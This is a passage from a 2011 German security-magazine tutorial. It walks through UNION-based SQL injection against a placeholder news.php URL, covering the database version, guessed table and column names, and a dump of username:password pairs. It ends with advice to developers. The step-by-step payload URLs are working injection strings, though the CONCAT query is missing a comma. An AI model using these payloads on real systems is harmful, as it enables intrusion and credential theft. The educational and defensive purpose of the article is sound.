Web Application Security in der Praxis, Teil 1

SQL Injection – Über das Web-Frontend auf Datenbank-Server zugreifen

10.02.2011 | Autor / Redakteur: Martin Dombrowski / Stephan Augsten

Zielorientiert: Die SQL Injection ist nach wie vor ein effektives Mittel zum Angriff auf Datenbank-Server.
Zielorientiert: Die SQL Injection ist nach wie vor ein effektives Mittel zum Angriff auf Datenbank-Server.

4. SQL-Version ermitteln

Ist die Ausgabe der letzten Abfrage 1,2,3 dann kann im nächsten Schritt anstelle dieser drei Zahlen etwas anderes ausgegeben werden. Es wird nun mit dem nächsten Befehl die SQL-Version ermittelt (die 2 wurde durch version() ersetzt):

http://www.[domainname].de/news.php?id=5+union+select+1,version(),3/*

5. Tabellen- und Spaltennamen ermitteln

Abhängig von der verwendeten MySQL-Version müssen die Tabellen- und Spaltennamen erraten werden. Dies ist bei der MySQL Version 4 der Fall. Man rät anhand oft verwendeter Namen, wie zum Beispiel:

  • Für Tabellen – user,users,admin,admins,member,members,etc.
  • Für Spalten – username,user,usr,user_name,password,pass,etc.

An dieser Stelle können Tools verwendet werden, die diesen Schritt deutlich beschleunigen.

Mit dem folgenden Befehl wird überprüft ob eine Tabelle namens users existiert:

http://www.[domainname].de/news.php?id=5+union+select+1,2,3+from+users/*

Ist dies der Fall so besteht die Ausgabe wieder aus 1,2,3. Nun kann man damit beginnen die Spalten zu erraten. Im folgenden wird die Spalte namens username ausprobiert:

http://www.[domainname].de/news.php?id=5+union+select+1,username,3+from+users/*

6. Ausgabe der Benutzer samt Passwort

Wurde der richtige Spaltenname ausgewählt, so kann nun der Spaltenname für die Benutzerpasswörter erraten werden. Mit CONCAT kann man mehrere Spalten an einer Zahl ausgeben lassen, somit ergibt sich folgender Befehl:

http://www.[domainname].de/news.php?id=5+union+select+1,concat(username,0x3a,password)3+from+users/*

0x3a steht hierbei für den Doppelpunkt. In der darauf folgenden Ausgabe werden die Daten wie folgt formatiert angezeigt:

Benutzer:Passwort
Benutzer1:Passwort1
...
BenutzerN:PasswortN

Fazit

Nicht nur, dass es automatisierte SQL Injection Tools gibt –laut ExploitDB werden auch regelmäßig neue SQL-Schwachstellen bekannt. Deshalb sollte jedem bewusst sein, wie wichtig es ist, sich mit dieser Thematik auseinanderzusetzen. Vor allem sollten Entwickler schon bei der Programmierung bedenken, da ein nachträglicher Schutz vor SQL-Angriffen mit weiteren Kosten verbunden ist.

Inhalt

Kommentare werden geladen....

Kommentar zu diesem Artikel

Der Kommentar wird durch einen Redakteur geprüft und in Kürze freigeschaltet.

Anonym mitdiskutieren oder einloggen Anmelden

Avatar
Zur Wahrung unserer Interessen speichern wir zusätzlich zu den o.g. Informationen die IP-Adresse. Dies dient ausschließlich dem Zweck, dass Sie als Urheber des Kommentars identifiziert werden können. Rechtliche Grundlage ist die Wahrung berechtigter Interessen gem. Art 6 Abs 1 lit. f) DSGVO.
  1. Avatar
    Avatar
    Bearbeitet von am
    Bearbeitet von am
    1. Avatar
      Avatar
      Bearbeitet von am
      Bearbeitet von am

Kommentare werden geladen....

Kommentar melden

Melden Sie diesen Kommentar, wenn dieser nicht den Richtlinien entspricht.

Kommentar Freigeben

Der untenstehende Text wird an den Kommentator gesendet, falls dieser eine Email-hinterlegt hat.

Freigabe entfernen

Der untenstehende Text wird an den Kommentator gesendet, falls dieser eine Email-hinterlegt hat.

copyright

Dieser Beitrag ist urheberrechtlich geschützt. Sie wollen ihn für Ihre Zwecke verwenden? Kontaktieren Sie uns über: support.vogel.de/ (ID: 2049623 / Mobile- und Web-Apps)